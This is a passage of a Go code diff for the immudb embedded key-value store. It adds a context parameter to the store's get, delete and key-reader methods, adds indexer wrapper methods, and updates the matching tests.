require.NoError(t, err) require.NotNil(t, valRef) require.True(t, valRef.KVMetadata().Deleted()) @@ -1396,7 +1396,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) require.NotNil(t, r) - _, _, err = r.ReadBetween(1, immuStore.TxCount()) + _, _, err = r.ReadBetween(context.Background(), 1, immuStore.TxCount()) require.ErrorIs(t, err, ErrNoMoreEntries) err = r.Close() @@ -1419,7 +1419,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("expirableKey")) + valRef, err := immuStore.Get(context.Background(), []byte("expirableKey")) require.NoError(t, err) require.NotNil(t, valRef) @@ -1430,19 +1430,19 @@ func TestImmudbStoreRWTransactions(t *testing.T) { time.Sleep(2 * time.Second) // already expired - _, err = immuStore.Get([]byte("expirableKey")) + _, err = immuStore.Get(context.Background(), []byte("expirableKey")) require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) // expired entries can not be resolved - valRef, err = immuStore.GetWithFilters([]byte("expirableKey")) + valRef, err = immuStore.GetWithFilters(context.Background(), []byte("expirableKey")) require.NoError(t, err) _, err = valRef.Resolve() require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) // expired entries are not returned - _, err = immuStore.GetWithFilters([]byte("expirableKey"), IgnoreExpired) + _, err = immuStore.GetWithFilters(context.Background(), []byte("expirableKey"), IgnoreExpired) require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) }) @@ -1464,11 +1464,11 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) // already expired - _, err = immuStore.Get([]byte("expirableKey")) + _, err = immuStore.Get(context.Background(), []byte("expirableKey")) require.ErrorIs(t, err, ErrKeyNotFound) // expired entries can not be resolved - valRef, err := immuStore.GetWithFilters([]byte("expirableKey")) + valRef, err := immuStore.GetWithFilters(context.Background(), []byte("expirableKey")) require.NoError(t, err) _, err = valRef.Resolve() require.ErrorIs(t, err, ErrKeyNotFound) @@ -1479,10 +1479,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx1.Delete([]byte("key1")) + err = tx1.Delete(context.Background(), []byte("key1")) require.NoError(t, err) - err = tx1.Delete([]byte("key2")) + err = tx1.Delete(context.Background(), []byte("key2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) @@ -1497,7 +1497,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx3.Get([]byte("key1")) + _, err = tx3.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) // ongoing tranactions should not read committed entries since their creation @@ -1511,7 +1511,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) // - _, err = tx3.Get([]byte("key1")) + _, err = tx3.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx3.Set([]byte("key1"), nil, []byte("value1_tx3")) @@ -1520,7 +1520,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { hdr2, err := tx2.Commit(context.Background()) require.NoError(t, err) - valRef2, err := immuStore.Get([]byte("key1")) + valRef2, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef2) require.Equal(t, hdr2.ID, valRef2.Tx()) @@ -1560,10 +1560,10 @@ func TestImmudbStoreKVMetadata(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - _, err = immuStore.Get([]byte{1, 2, 3}) + _, err = immuStore.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) - valRef, err := immuStore.GetWithFilters([]byte{1, 2, 3}) + valRef, err := immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.True(t, valRef.KVMetadata().Deleted()) @@ -1582,14 +1582,14 @@ func TestImmudbStoreKVMetadata(t *testing.T) { require.NotNil(t, snap) defer snap.Close() - _, err = snap.Get([]byte{1, 2, 3}) + _, err = snap.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) }) tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx.Get([]byte{1, 2, 3}) + _, err = tx.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) err = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1}) @@ -1597,7 +1597,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err = immuStore.Get([]byte{1, 2, 3}) + valRef, err = immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(2), valRef.Tx()) @@ -1630,10 +1630,10 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - _, err = immuStore.Get([]byte("nonIndexedKey")) + _, err = immuStore.Get(context.Background(), []byte("nonIndexedKey")) require.ErrorIs(t, err, ErrKeyNotFound) - valRef, err := immuStore.Get([]byte("indexedKey")) + valRef, err := immuStore.Get(context.Background(), []byte("indexedKey")) require.NoError(t, err) require.NotNil(t, valRef) @@ -1652,7 +1652,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - _, err = immuStore.Get([]byte("nonIndexedKey1")) + _, err = immuStore.Get(context.Background(), []byte("nonIndexedKey1")) require.ErrorIs(t, err, ErrKeyNotFound) // commit simple tx with an indexable entry @@ -1666,7 +1666,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err = immuStore.Get([]byte("indexedKey1")) + valRef, err = immuStore.Get(context.Background(), []byte("indexedKey1")) require.NoError(t, err) require.NotNil(t, valRef) @@ -1964,7 +1964,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { require.NoError(t, err) var k0 [8]byte - _, _, err = immuStore.GetWithPrefix(k0[:], nil) + _, _, err = immuStore.GetWithPrefix(context.Background(), k0[:], nil) require.NoError(t, err) } @@ -2735,7 +2735,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = otx.Delete([]byte("key1")) + err = otx.Delete(context.Background(), []byte("key1")) require.NoError(t, err) _, err = otx.Commit(context.Background()) @@ -2817,7 +2817,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { time.Sleep(100 * time.Millisecond) - _, err = immuStore.Get([]byte("expirableKey")) + _, err = immuStore.Get(context.Background(), []byte("expirableKey")) if err != nil && errors.Is(err, ErrKeyNotFound) { break } @@ -3170,7 +3170,7 @@ func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { immuStore, err = Open(dir, opts) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key1")) + valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr.ID, valRef.Tx()) @@ -3245,7 +3245,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { err = immuStore.WaitForIndexingUpto(context.Background(), hdr1.ID) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key1")) + valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr1.ID, valRef.Tx()) @@ -3263,7 +3263,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err = immuStore.Get([]byte("key1")) + valRef, err = immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr2.ID, valRef.Tx()) @@ -3278,7 +3278,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { immuStore, err = Open(dir, opts) require.NoError(t, err) - valRef, err = immuStore.Get([]byte("key1")) + valRef, err = immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr2.ID, valRef.Tx()) @@ -3748,7 +3748,7 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit(context.Background()) require.NoError(t, err) - _, err = tx2.Get([]byte("key2")) + _, err = tx2.Get(context.Background(), []byte("key2")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx2.Set([]byte("key2"), nil, []byte("value2")) @@ -3788,7 +3788,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) - _, err = tx2.Get([]byte("key3")) + _, err = tx2.Get(context.Background(), []byte("key3")) require.ErrorIs(t, err, ErrKeyNotFound) _, err = tx1.Commit(context.Background()) @@ -3817,10 +3817,10 @@ func TestImmudbStoreMVCC(t *testing.T) { tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx2.Delete([]byte("key4")) + err = tx2.Delete(context.Background(), []byte("key4")) require.NoError(t, err) - _, err = tx3.Get([]byte("key4")) + _, err = tx3.Get(context.Background(), []byte("key4")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) @@ -3846,7 +3846,7 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit(context.Background()) require.NoError(t, err) - key, _, err := tx2.GetWithPrefix([]byte("key2"), nil) + key, _, err := tx2.GetWithPrefix(context.Background(), []byte("key2"), nil) require.NoError(t, err) require.Equal(t, []byte("key2"), key) @@ -3867,7 +3867,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - key, _, err := tx2.GetWithPrefix([]byte("key"), nil) + key, _, err := tx2.GetWithPrefix(context.Background(), []byte("key"), nil) require.NoError(t, err) require.Equal(t, []byte("key1"), key) @@ -3888,10 +3888,10 @@ func TestImmudbStoreMVCC(t *testing.T) { tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx1.Delete([]byte("key1")) + err = tx1.Delete(context.Background(), []byte("key1")) require.NoError(t, err) - _, _, err = tx2.GetWithPrefix([]byte("key"), nil) + _, _, err = tx2.GetWithPrefix(context.Background(), []byte("key"), nil) require.NoError(t, err) require.Equal(t, []byte("key1"), []byte("key1")) @@ -3943,7 +3943,7 @@ func TestImmudbStoreMVCC(t *testing.T) { for i := 1; i <= 4; i++ { for j := 1; j <= i; j++ { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } @@ -4001,7 +4001,7 @@ func TestImmudbStoreMVCC(t *testing.T) { for i := 1; i <= 3; i++ { for j := 1; j <= i; j++ { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } @@ -4043,7 +4043,7 @@ func TestImmudbStoreMVCC(t *testing.T) { require.NoError(t, err) for { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } @@ -4078,7 +4078,7 @@ func TestImmudbStoreMVCC(t *testing.T) { tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx2.Delete([]byte("key1")) + err = tx2.Delete(context.Background(), []byte("key1")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ @@ -4088,7 +4088,7 @@ func TestImmudbStoreMVCC(t *testing.T) { require.NoError(t, err) for { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } @@ -4123,10 +4123,10 @@ func TestImmudbStoreMVCC(t *testing.T) { tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx2.Delete([]byte("key1")) + err = tx2.Delete(context.Background(), []byte("key1")) require.NoError(t, err) - err = tx3.Delete([]byte("key1")) + err = tx3.Delete(context.Background(), []byte("key1")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ @@ -4136,7 +4136,7 @@ func TestImmudbStoreMVCC(t *testing.T) { require.NoError(t, err) for { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } @@ -4171,7 +4171,7 @@ func TestImmudbStoreMVCC(t *testing.T) { tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx2.Delete([]byte("key1")) + err = tx2.Delete(context.Background(), []byte("key1")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ @@ -4182,7 +4182,7 @@ func TestImmudbStoreMVCC(t *testing.T) { require.NoError(t, err) for { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } @@ -4215,12 +4215,12 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { - _, err = tx1.Get([]byte(fmt.Sprintf("key%d", i))) + _, err = tx1.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.ErrorIs(t, err, ErrKeyNotFound) } for i := 0; i < mvccReadsetLimit; i++ { - _, err = tx1.Get([]byte(fmt.Sprintf("key%d", i))) + _, err = tx1.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) } @@ -4238,7 +4238,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { } for i := 0; i <= mvccReadsetLimit; i++ { - _, err = tx1.Get([]byte(fmt.Sprintf("key%d", i))) + _, err = tx1.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.NoError(t, err) } @@ -4251,12 +4251,12 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { - _, _, err = tx1.GetWithPrefix([]byte(fmt.Sprintf("key%d", i)), nil) + _, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf("key%d", i)), nil) require.ErrorIs(t, err, ErrKeyNotFound) } for i := 0; i < mvccReadsetLimit; i++ { - _, _, err = tx1.GetWithPrefix([]byte(fmt.Sprintf("key%d", i)), nil) + _, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf("key%d", i)), nil) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) } @@ -4274,7 +4274,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { } for i := 0; i <= mvccReadsetLimit; i++ { - _, _, err = tx1.GetWithPrefix([]byte(fmt.Sprintf("key%d", i)), nil) + _, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf("key%d", i)), nil) require.NoError(t, err) } @@ -4296,11 +4296,11 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { // Note: creating the reader already consumes one read-set slot for i := 0; i < mvccReadsetLimit-1; i++ { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) require.NoError(t, err) } - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) err = r.Close() @@ -4324,7 +4324,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { // Note: creating the reader already consumes one read-set slot for i := 0; i < mvccReadsetLimit-1; i++ { - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) require.NoError(t, err) } @@ -4354,14 +4354,14 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { - _, err = tx2.Get([]byte(fmt.Sprintf("key%d", i))) + _, err = tx2.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.NoError(t, err) } - _, err = tx2.Get([]byte("key")) + _, err = tx2.Get(context.Background(), []byte("key")) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) - _, _, err = tx2.GetWithPrefix([]byte("key"), nil) + _, _, err = tx2.GetWithPrefix(context.Background(), []byte("key"), nil) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) _, err = tx2.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) @@ -4417,7 +4417,7 @@ func TestImmudbStoreWithoutVLogCache(t *testing.T) { _, err = tx1.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key1")) + valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) val, err := valRef.Resolve() @@ -4440,7 +4440,7 @@ func TestImmudbStoreWithVLogCache(t *testing.T) { _, err = tx1.Commit(context.Background()) require.NoError(t, err) - _, valRef, err := immuStore.GetWithPrefix([]byte("key1"), nil) + _, valRef, err := immuStore.GetWithPrefix(context.Background(), []byte("key1"), nil) require.NoError(t, err) val, err := valRef.Resolve() @@ -4899,7 +4899,7 @@ func TestImmudbStoreTxMetadata(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte{1, 2, 3}) + valRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) @@ -4923,7 +4923,7 @@ func TestImmudbStoreTxMetadata(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte{1, 2, 3}) + valRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(2), valRef.Tx()) @@ -5085,10 +5085,10 @@ func TestIndexingChanges(t *testing.T) { tx2, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx2.Get([]byte("j1")) + _, err = tx2.Get(context.Background(), []byte("j1")) require.NoError(t, err) - _, err = tx2.Get([]byte("k1")) + _, err = tx2.Get(context.Background(), []byte("k1")) require.NoError(t, err) err = tx2.Cancel() @@ -5103,10 +5103,10 @@ func TestIndexingChanges(t *testing.T) { tx3, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx3.Get([]byte("j1")) + _, err = tx3.Get(context.Background(), []byte("j1")) require.ErrorIs(t, err, ErrKeyNotFound) - _, err = tx3.Get([]byte("k1")) + _, err = tx3.Get(context.Background(), []byte("k1")) require.NoError(t, err) err = tx3.Cancel() @@ -5121,10 +5121,10 @@ func TestIndexingChanges(t *testing.T) { tx4, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx4.Get([]byte("j1")) + _, err = tx4.Get(context.Background(), []byte("j1")) require.NoError(t, err) - _, err = tx4.Get([]byte("k1")) + _, err = tx4.Get(context.Background(), []byte("k1")) require.NoError(t, err) err = tx4.Cancel() @@ -5136,10 +5136,10 @@ func TestIndexingChanges(t *testing.T) { tx5, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx5.Get([]byte("j1")) + _, err = tx5.Get(context.Background(), []byte("j1")) require.NoError(t, err) - _, err = tx5.Get([]byte("k1")) + _, err = tx5.Get(context.Background(), []byte("k1")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx5.Cancel() diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 0128c0a450..feccd51cb8 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -185,6 +185,10 @@ func (idx *indexer) Ts() uint64 { return idx.index.Ts() } +func (idx *indexer) SyncSnapshot() (*tbtree.Snapshot, error) { + return idx.index.SyncSnapshot() +} + func (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err error) { idx.mutex.Lock() defer idx.mutex.Unlock() @@ -196,6 +200,17 @@ func (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err err return idx.index.Get(key) } +func (idx *indexer) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) (value []byte, tx uint64, hc uint64, err error) { + idx.mutex.Lock() + defer idx.mutex.Unlock() + + if idx.closed { + return nil, 0, 0, ErrAlreadyClosed + } + + return idx.index.GetBetween(key, initialTxID, finalTxID) +} + func (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []tbtree.TimedValue, hCount uint64, err error) { idx.mutex.Lock() defer idx.mutex.Unlock() diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index d2c46f9007..5164f7f3eb 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "crypto/sha256" "encoding/binary" "fmt" @@ -57,8 +58,8 @@ var ( ) type KeyReader interface { - Read() (key []byte, val ValueRef, err error) - ReadBetween(initialTxID uint64, finalTxID uint64) (key []byte, val ValueRef, err error) + Read(ctx context.Context) (key []byte, val ValueRef, err error) + ReadBetween(ctx context.Context, initialTxID uint64, finalTxID uint64) (key []byte, val ValueRef, err error) Reset() error Close() error } @@ -78,11 +79,11 @@ func (s *Snapshot) set(key, value []byte) error { return s.snap.Set(key, value) } -func (s *Snapshot) Get(key []byte) (valRef ValueRef, err error) { - return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) +func (s *Snapshot) Get(ctx context.Context, key []byte) (valRef ValueRef, err error) { + return s.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted) } -func (s *Snapshot) GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { +func (s *Snapshot) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.snap.GetBetween(key, initialTxID, finalTxID) if err != nil { return nil, err @@ -100,7 +101,7 @@ func (s *Snapshot) GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef return valRef, nil } -func (s *Snapshot) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { +func (s *Snapshot) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.snap.Get(key) if err != nil { return nil, err @@ -129,11 +130,11 @@ func (s *Snapshot) GetWithFilters(key []byte, filters ...FilterFn) (valRef Value return valRef, nil } -func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return s.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) +func (s *Snapshot) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + return s.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted) } -func (s *Snapshot) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { +func (s *Snapshot) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { key, indexedVal, tx, hc, err := s.snap.GetWithPrefix(prefix, neq) if err != nil { return nil, nil, err @@ -398,7 +399,7 @@ type storeKeyReader struct { skipped uint64 } -func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { +func (r *storeKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { for { key, indexedVal, tx, hc, err := r.reader.ReadBetween(initialTxID, finalTxID) if err != nil { @@ -435,7 +436,7 @@ func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, } } -func (r *storeKeyReader) Read() (key []byte, val ValueRef, err error) { +func (r *storeKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, err error) { for { key, indexedVal, tx, hc, err := r.reader.Read() if err != nil { diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index a65c913322..19add45b5e 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -70,7 +70,7 @@ func TestImmudbStoreReader(t *testing.T) { var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(txCount-1)) - rk, vref, err := reader.Read() + rk, vref, err := reader.Read(context.Background()) require.NoError(t, err) require.Equal(t, k[:], rk) @@ -79,7 +79,7 @@ func TestImmudbStoreReader(t *testing.T) { require.Equal(t, v[:], rv) } - _, _, err = reader.Read() + _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) } @@ -130,7 +130,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) - rk, vref, err := reader.ReadBetween(0, uint64(i+1)) + rk, vref, err := reader.ReadBetween(context.Background(), 0, uint64(i+1)) require.NoError(t, err) require.Equal(t, k[:], rk) @@ -139,7 +139,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { require.Equal(t, v[:], rv) } - _, _, err = reader.Read() + _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) err = reader.Reset() @@ -197,7 +197,7 @@ func TestImmudbStoreReaderWithOffset(t *testing.T) { var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(txCount-1)) - rk, vref, err := reader.Read() + rk, vref, err := reader.Read(context.Background()) require.NoError(t, err) require.Equal(t, k[:], rk) @@ -206,7 +206,7 @@ func TestImmudbStoreReaderWithOffset(t *testing.T) { require.Equal(t, v[:], rv) } - _, _, err = reader.Read() + _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) } @@ -261,7 +261,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { var v [8]byte binary.BigEndian.PutUint64(v[:], uint64(i)) - rk, vref, err := reader.ReadBetween(0, uint64(i+1)) + rk, vref, err := reader.ReadBetween(context.Background(), 0, uint64(i+1)) require.NoError(t, err) require.Equal(t, k[:], rk) @@ -270,7 +270,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { require.Equal(t, v[:], rv) } - _, _, err = reader.Read() + _, _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) err = reader.Reset() diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 11dd7413c4..a93601f92d 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -339,7 +339,7 @@ func (tx *OngoingTx) mvccReadSetLimitReached() bool { return tx.mvccReadSet.readsetSize == tx.st.mvccReadSetLimit } -func (tx *OngoingTx) Delete(key []byte) error { +func (tx *OngoingTx) Delete(ctx context.Context, key []byte) error { if tx.closed { return ErrAlreadyClosed } @@ -348,7 +348,7 @@ func (tx *OngoingTx) Delete(key []byte) error { return ErrReadOnlyTx } - valRef, err := tx.Get(key) + valRef, err := tx.Get(ctx, key) if err != nil { return err } @@ -364,11 +364,11 @@ func (tx *OngoingTx) Delete(key []byte) error { return tx.Set(key, md, nil) } -func (tx *OngoingTx) Get(key []byte) (ValueRef, error) { - return tx.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) +func (tx *OngoingTx) Get(ctx context.Context, key []byte) (ValueRef, error) { + return tx.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted) } -func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { +func (tx *OngoingTx) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (ValueRef, error) { if tx.closed { return nil, ErrAlreadyClosed } @@ -385,7 +385,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return nil, err } - valRef, err := snap.GetWithFilters(key, filters...) + valRef, err := snap.GetWithFilters(ctx, key, filters...) if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGet := expectedGet{ key: cp(key), @@ -422,11 +422,11 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return valRef, nil } -func (tx *OngoingTx) GetWithPrefix(prefix, neq []byte) (key []byte, valRef ValueRef, err error) { - return tx.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) +func (tx *OngoingTx) GetWithPrefix(ctx context.Context, prefix, neq []byte) (key []byte, valRef ValueRef, err error) { + return tx.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted) } -func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { +func (tx *OngoingTx) GetWithPrefixAndFilters(ctx context.Context, prefix, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { if tx.closed { return nil, nil, ErrAlreadyClosed } @@ -440,7 +440,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, err } - key, valRef, err = snap.GetWithPrefixAndFilters(prefix, neq, filters...) + key, valRef, err = snap.GetWithPrefixAndFilters(ctx, prefix, neq, filters...) if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), @@ -573,12 +573,12 @@ func (tx *OngoingTx) hasPreconditions() bool { return len(tx.preconditions) > 0 || (tx.mvccReadSet != nil && !tx.mvccReadSet.isEmpty()) } -func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { +func (tx *OngoingTx) checkPreconditions(ctx context.Context, st *ImmuStore) error { for _, c := range tx.preconditions { if c == nil { return ErrInvalidPreconditionNull } - ok, err := c.Check(st) + ok, err := c.Check(ctx, st) if err != nil { return fmt.Errorf("error checking %s precondition: %w", c, err) } @@ -610,7 +610,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { continue } - valRef, err := 